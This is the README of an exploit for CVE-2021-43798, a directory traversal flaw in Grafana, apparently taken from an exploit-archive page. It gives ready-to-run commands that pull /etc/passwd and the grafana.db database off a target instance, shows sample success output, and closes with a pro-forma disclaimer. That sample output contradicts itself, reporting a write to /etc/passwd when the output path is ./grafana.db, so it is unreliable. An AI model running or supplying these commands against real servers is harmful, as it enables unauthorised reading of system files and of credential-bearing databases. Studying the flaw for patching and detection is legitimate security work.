CVE-2021-43798 PoC — Grafana 路径遍历漏洞

Description

Exploit for CVE-2021-43798

介绍

# CVE-2021-43798

This is a script to exploit CVE-2021-43798 a directory traversal vulnerability in Grafana versions from 8.0.1-beta1 through 8.3.0.

## Usage

To use this script simply supply the base URL of the target Grafana instance that you would like to exploit.

```bash
python3 exploit.py --url http://localhost:3000 --file  /etc/passwd
```

This will write the output to stdout but if you'd like to write the output directly to disk instead you can do so with the `--output` flag

## Example

```bash
$ python3 exploit.py --url http://localhost:3000 --file /var/lib/grafana/grafana.db --output ./grafana.db
[+] Target is vulnerable!
[+] Successfully wrote file to /etc/passwd
```

## Disclaimer

This script is for educational and security assessment purposes only and should not be used in any malicious way. The author of this script is not responsible for any misuse of this tool.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2021-43798
-

文件快照

备注